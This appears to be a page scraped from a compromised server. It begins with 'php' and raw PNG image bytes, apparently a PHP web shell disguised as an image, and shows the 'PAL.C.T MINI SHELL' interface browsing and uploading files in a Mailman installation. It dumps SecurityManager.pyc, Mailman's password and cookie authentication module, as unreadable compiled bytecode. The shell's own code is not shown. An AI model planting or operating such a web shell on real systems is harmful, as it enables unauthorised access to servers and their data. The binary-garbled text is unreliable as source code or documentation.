php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/SecurityManager.pyc

Pc@sadZddkZddkZddkZddkZddkZddkZddkZddkl	Z	l
Z
ddklZyddkZWne
j
o
eZnXddklZddklZddklZddklZdd	klZlZyeefWnej
od
ZdZnXdfd
YZeidZdZdS(s0Handle passwords and sanitize approved messages.iN(t
StringTypet	TupleType(turlparse(tmm_cfg(tUtils(tErrors(tsyslog(tmd5_newtsha_newiitSecurityManagercBsbeZdZddZddZddZddZddZddZ	dZ
RS(	cCsd|_h|_dS(N(tNonetmod_passwordt	passwords(tself((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pytInitVarsPs	cCs)|id}|tijoY|djo
tdn|i|}titi	|dd}|d|7}n|ti
jo|i}|d7}n|tijo|i
}|d7}nY|tijoDti}tio|o|}d}q|i
}|d7}nd	S||fS(
Nt+s%No user supplied for AuthUser contexttsafetsuser+%st	moderatortadmintsite(NN(t
internal_nameRtAuthUserR
t	TypeErrortgetMemberPasswordturllibtquoteRtObscureEmailtAuthListModeratorRt
AuthListAdmintpasswordt
AuthSiteAdmintget_global_passwordtALLOW_SITE_ADMIN_COOKIES(R
tauthcontexttusertkeytsecrettuserdatatsitepass((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pytAuthContextInfoYs,

		
	cCs~xt|D]l}|tijo(ti|dd}|otiSq|tijo"ti|}|otiSq|tijo'd}|i|\}}|djoqnt|i	}	t
}
}|	|jo
t}nFt|i
|jot}}
n|||ot}}
n|
oft
}|ip|it}nz"|	|_|o|inWd|o|inXn|o|Sq|tijo>|i|\}}|ot|i	|jo|Sq|tijoJ|dj	o9y|i||o|SWqRtij
oqRXqsqtdd|td|qWtiS(Nt	siteadminicSsRy7|d }toti|||jotStSWntj
otSXdS(Ni(tcrypttTruetFalseR(tresponseR%tsalt((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pytcryptmatchps
 terrorsBad authcontext: %s(RtAuthCreatorRtcheck_global_passwordRRR(R
Rt	hexdigestR,R+RtdigesttLockedtLockRtSavetUnlockRRtauthenticateMemberRtNotAMemberErrorRt
ValueErrortUnAuthorized(R
tauthcontextsR-R#tactokR/R$R%tsharesponsetupgradetsave_and_unlock((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pytAuthenticatesd	






		 	
	
cCsex,|D]$}|i||}|otSqW|i|||}|o|i||GHtStS(N(tCheckCookieR+RCt
MakeCookieR,(R
R=R-R#R>R?((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pytWebAuthenticates	c	Cs|i||\}}|djp|djpt|to
tntti}t||
i}t	i
}tit
i||f||<t|id}|||d<d||d<|S(Nitpathitversion(R(R
t
isinstanceRR;tintttimeRR3tCookietSimpleCookietbinasciithexlifytmarshaltdumpsRtweb_page_url(	R
R"R#R$R%tissuedtmactcRG((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pyREs+
"cCso|i||\}}ti}d||<t|id}|||d<d||d<d||d<|S(NRiRGismax-ageiRH(R(RLRMRRR(R
R"R#R$R%RURG((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pyt	ZapCookies
c	Cs!tiid}|ptSt|}|tijo|o
|g}nYg}|id}x?|iD]1}|i	|o|i
|t|qqqqWx\g}|D]}	|ti
ti|	q~D]'}|i|||}
|
otSqWtS|i|||SdS(NtHTTP_COOKIEs+user+(tostenvirontgetR,tparsecookieRRRtkeyst
startswithtappendtlenRtUnobscureEmailRtunquotet_SecurityManager__checkoneR+(R
R"R#t
cookiedataRUt	usernamestprefixtkt_[1]tuR?((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pyRD
s*


*	cCsy|i||\}}Wntij
otSX|i|pt|totSy,tit	i
||}|\}}Wn ttt
tfj
otSXti}	|	|jotSt||
i}
|
|jotStS(N(R(RR:R,thas_keyRIRRPtloadsRNt	unhexlifytEOFErrorR;RtKeyErrorRKRR3R+(R
RUR"R#R$R%tdataRStreceived_mactnowRT((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pyt
__checkone6s$"


N(t__name__t
__module__RR
R(RCRFRERVRDRb(((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pyR	Os		+Q)s;\s*cCswh}xj|iD]\}xSti|D]B}y|idd\}}Wntj
oq)X|||<q)WqW|S(Nt=i(t
splitlinestsplittertsplitR;(tsRUtlinetpRftv((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pyR[]s
(t__doc__RXtreRKRLRPRNRttypesRRRR*tImportErrorR
tMailmanRRRtMailman.Logging.SyslogRt
Mailman.UtilsRRR+R,t	NameErrorR	tcompileRvR[(((s`/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/SecurityManager.pyt<module>s6

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`